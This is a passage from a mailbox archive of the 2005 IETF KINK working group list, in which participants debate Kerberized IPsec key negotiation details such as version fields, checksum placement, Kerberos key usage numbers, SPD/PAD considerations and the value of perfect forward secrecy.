do it the IKEv2 way -- KINK led the way here, not the other way around. KINK should have been an RFC way before IKEv2 was issued. Mike --=-l3VPnFXInysxg8yXeLON Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQgOLqbMsDAj/Eq++AQKmLgQAl71QZRUDkkoPNGTATSnL2UyJnim45LEZ xj3y8LlBzi7rviF1zYzHzJzRU3i3Momv1nOMnQA6nHTJk5vMR0qK/UE91UA2D24D hcIOuFME7Nc6Phnx+7X1WhIwVvfdCgYvPYqUyoEmaeaYm+kAgz7p/DnLokkJeISx dlcbf3lyejE= =jWhC -----END PGP SIGNATURE----- --=-l3VPnFXInysxg8yXeLON-- From owner-ietf-kink Fri Feb 4 06:51:52 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14EpqLd063803; Fri, 4 Feb 2005 06:51:52 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14EpqC5063802; Fri, 4 Feb 2005 06:51:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-1.cisco.com (sj-iport-1-in.cisco.com [171.71.176.70]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14EpVGY063740 for ; Fri, 4 Feb 2005 06:51:37 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-1.cisco.com (171.71.177.237) by sj-iport-1.cisco.com with ESMTP; 04 Feb 2005 07:00:59 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j14EpLoQ019471; Fri, 4 Feb 2005 06:51:21 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j14EkwUl004893; Fri, 4 Feb 2005 06:46:58 -0800 Subject: Re: KINK issue list rev.2 From: Michael Thomas To: Shoichi Sakane Cc: hartmans-ietf@MIT.EDU, ietf-kink@vpnc.org In-Reply-To: <20050204192217C.sakane@kame.net> References: <1107377028.6704.22.camel@thomasm-lnx.cisco.com> <20050204192217C.sakane@kame.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-Jno95aygivWDGSsqrHgQ" Organization: Cisco Systems Message-Id: <1107528682.8247.41.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Fri, 04 Feb 2005 06:51:22 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107528418.519075"; x:"432200"; a:"rsa-sha1"; b:"nofws:996"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"myGVPXCALJnO27wfWBuTgD+wH+5FAEWCJ6RkGKY2HQsjeKCy0Zy+Djgwf4JE+eGCw0cf0fLF" "Y4oTYyCxyhvNNrflFtU1djnt6/rPvxh8T+q0UIgdD8sYrdtsfh7gjYfgozYUv/IaDwBOTCqO4uV" "Wgx9+ZYd7hNa+nh9ebhPg1dY="; c:"Subject: Re: KINK issue list rev.2"; c:"From: Michael Thomas "; c:"Date: Fri, 04 Feb 2005 06:51:22 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-Jno95aygivWDGSsqrHgQ Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Fri, 2005-02-04 at 02:22, Shoichi Sakane wrote: > I don't think KINK will have minor change often, and I don't think the > minor version will bring worth things to KINK. so I feel that I want > to remove the minor version from KINK specification. I fine with this is others are fine with this too. Mike >=20 > However, if we will leave it, it is policy matter to process a message > with a higher minor version. so we have to describe like below: > if a endpoint receives a message with a higher major version > number, it MUST drop the message and SHOULD send a KINK_ERROR > with KINK_INVMIN. --=-Jno95aygivWDGSsqrHgQ Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQgOL6rMsDAj/Eq++AQLSagP+KOFWGpJyK2wi9WXHh+ZIURDtuZgSQPDL lVEioEkS52Qg2Abq0LJt4bWZ3i8K0qOU7+TdARyx8NWk9Xj71L5m53r+rKWFiLvO HM2AAA2f76t7l2aLXnScvyCl3kaJQFqtMgRT03pKKzzrMUhFgcuhBRtE2vJrSbSm U0m4SMiicV8= =kBmb -----END PGP SIGNATURE----- --=-Jno95aygivWDGSsqrHgQ-- From owner-ietf-kink Fri Feb 4 13:23:48 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14LNlgq098657; Fri, 4 Feb 2005 13:23:47 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14LNl6V098656; Fri, 4 Feb 2005 13:23:47 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14LNksh098650 for ; Fri, 4 Feb 2005 13:23:47 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 9649EE0078; Fri, 4 Feb 2005 16:23:47 -0500 (EST) To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] References: <20050202112802J.sakane@kame.net> <20050204170454BO%kamada@nanohz.org> From: Sam Hartman Date: Fri, 04 Feb 2005 16:23:47 -0500 In-Reply-To: <20050204170454BO%kamada@nanohz.org> (KAMADA Ken'ichi's message of "Fri, 04 Feb 2005 17:04:54 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "KAMADA" == KAMADA Ken'ichi writes: KAMADA> I think the detailed description KAMADA> in section 4.3 is necessary. I like the descriptive text in 4.3 too. I just want the person the chairs and I select as an IPsec reviewer to confirm that nothing conflicts with IKEv1. --Sam From owner-ietf-kink Fri Feb 4 15:09:46 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14N9k6u005822; Fri, 4 Feb 2005 15:09:46 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j14N9kra005821; Fri, 4 Feb 2005 15:09:46 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j14N9kM8005779 for ; Fri, 4 Feb 2005 15:09:46 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-5.cisco.com (171.71.177.238) by sj-iport-3.cisco.com with ESMTP; 04 Feb 2005 16:20:27 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id j14N9aF1028910; Fri, 4 Feb 2005 15:09:37 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j14N5AEP010142; Fri, 4 Feb 2005 15:05:10 -0800 Subject: Re: KINK issue list From: Michael Thomas To: Kazunori Miyazawa Cc: "KAMADA Ken'ichi" , ietf-kink@vpnc.org In-Reply-To: <41FEE165.2030400@miyazawa.org> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <41FEE165.2030400@miyazawa.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-bVsaHhtt0/bIKYOsWhRs" Organization: Cisco Systems Message-Id: <1107558575.15221.3.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Fri, 04 Feb 2005 15:09:35 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107558310.757994"; x:"432200"; a:"rsa-sha1"; b:"nofws:1476"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"Eo9XdFuCbxvTtTwlEk+9tuSsfZj9Y1Z1VyhliN+UILoOQ2vp05rMfH/LJcgnG1+FysRjAXUn" "Scg294orTkTHIqH+lHpEuJUgbivHONmgDtVmRY2F0baq34udjf1BBeEz2vikGB8tZFsdQvSCWzS" "L+Ou/mJc9J+FqwtzYb5CW6Ic="; c:"Subject: Re: KINK issue list"; c:"From: Michael Thomas "; c:"Date: Fri, 04 Feb 2005 15:09:35 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-bVsaHhtt0/bIKYOsWhRs Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2005-01-31 at 17:54, Kazunori Miyazawa wrote: > Hello, >=20 > I have read the mails and I think these issues could be closed. >=20 > Kamada-san described the checksum calculation and verification in > this mail. > http://www.vpnc.org/ietf-kink/mail-archive/msg00336.html >=20 > If KINK adopts this, check sum length in KINK header will be two > octets because kcrypto specifies that the output of get_mic is > no longer than 65535 octets in the section 4. Yes, there is an inconsistency in the draft in this regard... the diagram which shows it as being one octet actually more closely reflects reality (unfortunately). I haven't thought very hard about how to resolve this. > BTW, if there are no strong reason, I like to move the check sum > field from the header to the end of message, because we could > be easy to access KINK_AP_REQ/REP payload and forget it after > verification. Am I understanding you as saying that you'd like this to not be in the KINK header at all? And instead be,=20 like, in one of the payloads following the header? That might be problematic given the KINK_ENCRYPT payload and some other odd things that might surface. Mike --=-bVsaHhtt0/bIKYOsWhRs Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQgQAr7MsDAj/Eq++AQJHRAP/dzhp2mpsQ49m1ZvYhtcAWJi55SCTolK6 YuqACrlwy6YCdIRmaKAAz6gpimhj9ILv73OE0jyH/+AzbhNmYWYb4rsTUc3TnnEo f39LL42Z0AGOg5BV4OYqQqMqeg5rMSry0A2HVsTpwBc0mb/41xqpOEZfj2JuAKhv WU9277q1uO0= =liqr -----END PGP SIGNATURE----- --=-bVsaHhtt0/bIKYOsWhRs-- From owner-ietf-kink Mon Feb 7 20:39:01 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j184d0sj014569; Mon, 7 Feb 2005 20:39:00 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j184d03u014568; Mon, 7 Feb 2005 20:39:00 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j184cxrp014528 for ; Mon, 7 Feb 2005 20:39:00 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:1978:3333:7b75:3c4d] ([2001:240:2:0:1978:3333:7b75:3c4d]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Tue, 08 Feb 2005 13:37:58 +0900 id 00007D13.42084226.000028A2 Message-ID: <4208422C.5020905@miyazawa.org> Date: Tue, 08 Feb 2005 13:38:04 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: ietf-kink@vpnc.org Subject: #28 [*] Key usage Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hello, I considered the issue and got questions. The issue is #28 [*] Key usage Usage of kink should specify the key usage numbers for kerberos encryption. If KINK uses kcrypto, we can find key usage numbers in draft-ietf-krb-wg-kerberos-clarificaiton. However in section 4 of the clarifications There might exist other documents which define protocols in terms of the RFC1510 encryption types or checksum types. Such documents would not know about key usages. In order that these specifications continue to be meaningful until they are updated, if no key usage values are specified then key usages 1024 and 1025 must be used to derive keys for encryption and checksums, respectively (this does not apply to protocols that do their own encryption independent of this framework, directly using the key resulting from the Kerberos authentication exchange.) New protocols defined in terms of the Kerberos encryption and checksum types SHOULD use their own key usage values. The questions are: 1. Does KINK correspond to whether protocol in terms of the RFC1510 or new protocol? 2. If KINK is protocol in terms of the RFC1510, is KINK able to use 1024 and 1025? 3. Otherwise, I think we should assign the numbers. How will we assign the numbers? Does it raise IANA issue? -- Kazunori Miyazawa From owner-ietf-kink Mon Feb 7 23:11:23 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j187BNSg057472; Mon, 7 Feb 2005 23:11:23 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j187BNo3057471; Mon, 7 Feb 2005 23:11:23 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j187BMeh057330 for ; Mon, 7 Feb 2005 23:11:23 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:1978:3333:7b75:3c4d] ([2001:240:2:0:1978:3333:7b75:3c4d]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Tue, 08 Feb 2005 16:10:12 +0900 id 00007DB9.420865D4.00002B67 Message-ID: <420865DD.1040507@miyazawa.org> Date: Tue, 08 Feb 2005 16:10:21 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: ietf-kink@vpnc.org Subject: #27 [*](2401bis) SPD Considerations (section 10.1) Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: #27 [*](2401bis) SPD Considerations (section 10.1) This should not go in the security considartions section. It is really more about IPsec architectural considerations than security considerations. I agree. I don't think they are security issues. This text needs to take into account 2401bis. In particular it needs to be properly split between SPD considerations and PAD considerations. (Sam Hartman) I think the first paragraph may be kind of message flow or over view of protocol because it specifies condition under which we should use GETTGT or normal key exchange. If KINK refers to 2401bis, I think that almost of section 10.1 is related to PAD rather than SPD, because SPD specifies filtering rules and the way to process in 2401bis. Second paragraph of section 10.1 requires these parameters in SPD 1 KDC to contact 2 principal name for respondent 3 AP-REQ/AP-REP or u2u to CREATE/DELETE However I think only the principal name should be held by PAD, and others (1,3) should be left to implementation, because IPsec stack is not concerned with how to exchange the key. 2401bis says PAD stores shared secret if peer authenticated by the secret. When we apply this to KINK, we might store the ticket into PAD. -- Kazunori Miyazawa From owner-ietf-kink Tue Feb 8 13:22:23 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18LMNJA039640; Tue, 8 Feb 2005 13:22:23 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j18LMNgf039639; Tue, 8 Feb 2005 13:22:23 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18LMM7h039632 for ; Tue, 8 Feb 2005 13:22:22 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 3F465E0063; Tue, 8 Feb 2005 16:22:26 -0500 (EST) To: Kazunori Miyazawa Cc: ietf-kink@vpnc.org Subject: Re: #28 [*] Key usage References: <4208422C.5020905@miyazawa.org> From: Sam Hartman Date: Tue, 08 Feb 2005 16:22:26 -0500 In-Reply-To: <4208422C.5020905@miyazawa.org> (Kazunori Miyazawa's message of "Tue, 08 Feb 2005 13:38:04 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: You can assign the numbers out of the space reserved for applications if principals used for kink will not be used for other purposes. If principals used for kink will be used for other purposes it is probably desirable to talk to Tom Yu and get a key usage number added to 1510ter. You'll also want to add the same key usage number to Kink to avoid a normative reference to 1510ter. IANA is not currently involved. The 1510ter document turns key usage and a bunch of other things over to IANA. --Sam From owner-ietf-kink Tue Feb 8 13:24:48 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18LOmKn039800; Tue, 8 Feb 2005 13:24:48 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j18LOmBT039798; Tue, 8 Feb 2005 13:24:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18LOl0w039786 for ; Tue, 8 Feb 2005 13:24:47 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 3E4E9E0063; Tue, 8 Feb 2005 16:24:52 -0500 (EST) To: Michael Thomas Cc: Shoichi Sakane , ietf-kink@vpnc.org Subject: Re: #22 References: <20050204211105O.sakane@kame.net> <1107526530.8247.29.camel@thomasm-lnx.cisco.com> From: Sam Hartman Date: Tue, 08 Feb 2005 16:24:52 -0500 In-Reply-To: <1107526530.8247.29.camel@thomasm-lnx.cisco.com> (Michael Thomas's message of "Fri, 04 Feb 2005 06:15:30 -0800") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Michael" == Michael Thomas writes: Michael> Well, it's pretty simple really: when you get tickets Michael> from the KDC, they aren't protected by PFS so using PFS Michael> later is pretty questionable. It's not useless, but it's Michael> not any huge win either. Until Kerberos itself supports Michael> PFS, people deploying KINK really ought not get worked up Michael> into a lather about turning on PFS to improve security Michael> since it's doesn't to any great degree. I'm confused. I thought the point of PFS was to make it impossible to recover session data . How does the fact that the KDC does not do PFS decrease the value of PFS for Kink? From owner-ietf-kink Tue Feb 8 13:32:07 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18LW7P7040293; Tue, 8 Feb 2005 13:32:07 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j18LW722040292; Tue, 8 Feb 2005 13:32:07 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18LW68Y040285 for ; Tue, 8 Feb 2005 13:32:06 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id BCD71E0063; Tue, 8 Feb 2005 16:32:11 -0500 (EST) To: ietf-kink@vpnc.org Subject: Kink Working Group From: Sam Hartman Date: Tue, 08 Feb 2005 16:32:11 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: In early January I asked what the status of Kink was and whether there is sufficient energy to finish the protocol. The answer appears to be that there is clearly sufficient energy and there has been an active discussion moving towards resolution of issues. We've received at least three document reviews with significant overlap in issues and have been working towards resolving those issues. As such I am not planning to close down the Kink working group and look forward to working with everyone to quickly finish the specification and get it approved by the IESG. However I did establish a deadline in early January. The working group chairs needed to propose new milestones and propose IPsec/Kerberos reviewers by February 7. That day has past and I have not heard from the chairs on this issue. There was some discussion of milestones but it was never formalized. I'd appreciate reasonably quick resolution from the chairs on this issue. Thanks, --Sam From owner-ietf-kink Tue Feb 8 13:49:13 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18LnDSX041369; Tue, 8 Feb 2005 13:49:13 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j18LnDiP041368; Tue, 8 Feb 2005 13:49:13 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nwkea-mail-2.sun.com (nwkea-mail-2.sun.com [192.18.42.14]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18Ln8pP041360 for ; Tue, 8 Feb 2005 13:49:08 -0800 (PST) (envelope-from sommerfeld@sun.com) Received: from eastmail1bur.East.Sun.COM ([129.148.9.49]) by nwkea-mail-2.sun.com (8.12.10/8.12.9) with ESMTP id j18Lmwgx027559; Tue, 8 Feb 2005 13:48:59 -0800 (PST) Received: from thunk (thunk.East.Sun.COM [129.148.174.66]) by eastmail1bur.East.Sun.COM (8.12.10+Sun/8.12.10/ENSMAIL,v2.2) with ESMTP id j18LmwQp022654; Tue, 8 Feb 2005 16:48:58 -0500 (EST) Received: from thunk.east.sun.com (localhost [127.0.0.1]) by thunk (8.13.3+Sun/8.13.3) with ESMTP id j18LmwI8026583; Tue, 8 Feb 2005 16:48:58 -0500 (EST) Received: (from sommerfeld@localhost) by thunk.east.sun.com (8.13.3+Sun/8.13.3/Submit) id j18Lmvow026582; Tue, 8 Feb 2005 16:48:57 -0500 (EST) X-Authentication-Warning: thunk.east.sun.com: sommerfeld set sender to sommerfeld@sun.com using -f Subject: Re: #22 From: Bill Sommerfeld To: Sam Hartman Cc: Michael Thomas , Shoichi Sakane , ietf-kink@vpnc.org In-Reply-To: References: <20050204211105O.sakane@kame.net> <1107526530.8247.29.camel@thomasm-lnx.cisco.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Message-Id: <1107899336.25726.120.camel@thunk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6.325 Date: Tue, 08 Feb 2005 16:48:57 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Tue, 2005-02-08 at 16:24, Sam Hartman wrote: > >>>>> "Michael" == Michael Thomas writes: > > Michael> Well, it's pretty simple really: when you get tickets > Michael> from the KDC, they aren't protected by PFS so using PFS > Michael> later is pretty questionable. It's not useless, but it's > Michael> not any huge win either. Until Kerberos itself supports > Michael> PFS, people deploying KINK really ought not get worked up > Michael> into a lather about turning on PFS to improve security > Michael> since it's doesn't to any great degree. > > I'm confused. I thought the point of PFS was to make it impossible to > recover session data . How does the fact that the KDC does not do PFS > decrease the value of PFS for Kink? I'm also confused by Michael's remarks, but, as I recall, one of the motivations for KINK was to do IPsec SA setup with lower CPU overhead by avoiding public key operations. If you add in a D-H exchange for PFS, you blow away that motivation and this winds up looking like a strange way to build a GSS-authenticated IKE.. - Bill From owner-ietf-kink Tue Feb 8 15:17:47 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18NHkRc046386; Tue, 8 Feb 2005 15:17:46 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j18NHksD046385; Tue, 8 Feb 2005 15:17:46 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from rtp-iport-2.cisco.com (rtp-iport-2.cisco.com [64.102.122.149]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18NHffx046374 for ; Tue, 8 Feb 2005 15:17:44 -0800 (PST) (envelope-from mat@cisco.com) Received: from rtp-core-1.cisco.com (64.102.124.12) by rtp-iport-2.cisco.com with ESMTP; 08 Feb 2005 18:17:34 -0500 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by rtp-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j18NHU1j009705; Tue, 8 Feb 2005 18:17:31 -0500 (EST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j18NCn01009741; Tue, 8 Feb 2005 15:12:49 -0800 Subject: Re: #22 From: Michael Thomas To: Bill Sommerfeld Cc: Sam Hartman , Shoichi Sakane , ietf-kink@vpnc.org In-Reply-To: <1107899336.25726.120.camel@thunk> References: <20050204211105O.sakane@kame.net> <1107526530.8247.29.camel@thomasm-lnx.cisco.com> <1107899336.25726.120.camel@thunk> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-wT4iAe/0tJZyo72AjaF9" Organization: Cisco Systems Message-Id: <1107904649.3305.14.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Tue, 08 Feb 2005 15:17:29 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107904370.176857"; x:"432200"; a:"rsa-sha1"; b:"nofws:2245"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"AsyRILpYZEvolj2MX3yJjjLMjDD/OAJHrygzKtOjdHLaVJWULE40Bt1wHPDrjdU8h+/U2f06" "P00sUCkh5UMvQflj+mor4xdHhT0KPgZ21Tb+Ls5ECPn+Ic2bvy0PDYa3a6Uv5MJDI+P640hY3B8" "pt8c+WDcz1EoRBjgsJpkXc3w="; c:"Subject: Re: #22"; c:"From: Michael Thomas "; c:"Date: Tue, 08 Feb 2005 15:17:29 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-wT4iAe/0tJZyo72AjaF9 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2005-02-08 at 13:48, Bill Sommerfeld wrote: > On Tue, 2005-02-08 at 16:24, Sam Hartman wrote: > > >>>>> "Michael" =3D=3D Michael Thomas writes: > >=20 > > Michael> Well, it's pretty simple really: when you get tickets > > Michael> from the KDC, they aren't protected by PFS so using PFS > > Michael> later is pretty questionable. It's not useless, but it's > > Michael> not any huge win either. Until Kerberos itself supports > > Michael> PFS, people deploying KINK really ought not get worked up > > Michael> into a lather about turning on PFS to improve security > > Michael> since it's doesn't to any great degree. > >=20 > > I'm confused. I thought the point of PFS was to make it impossible to > > recover session data . How does the fact that the KDC does not do PFS > > decrease the value of PFS for Kink? >=20 > I'm also confused by Michael's remarks, but, as I recall, one 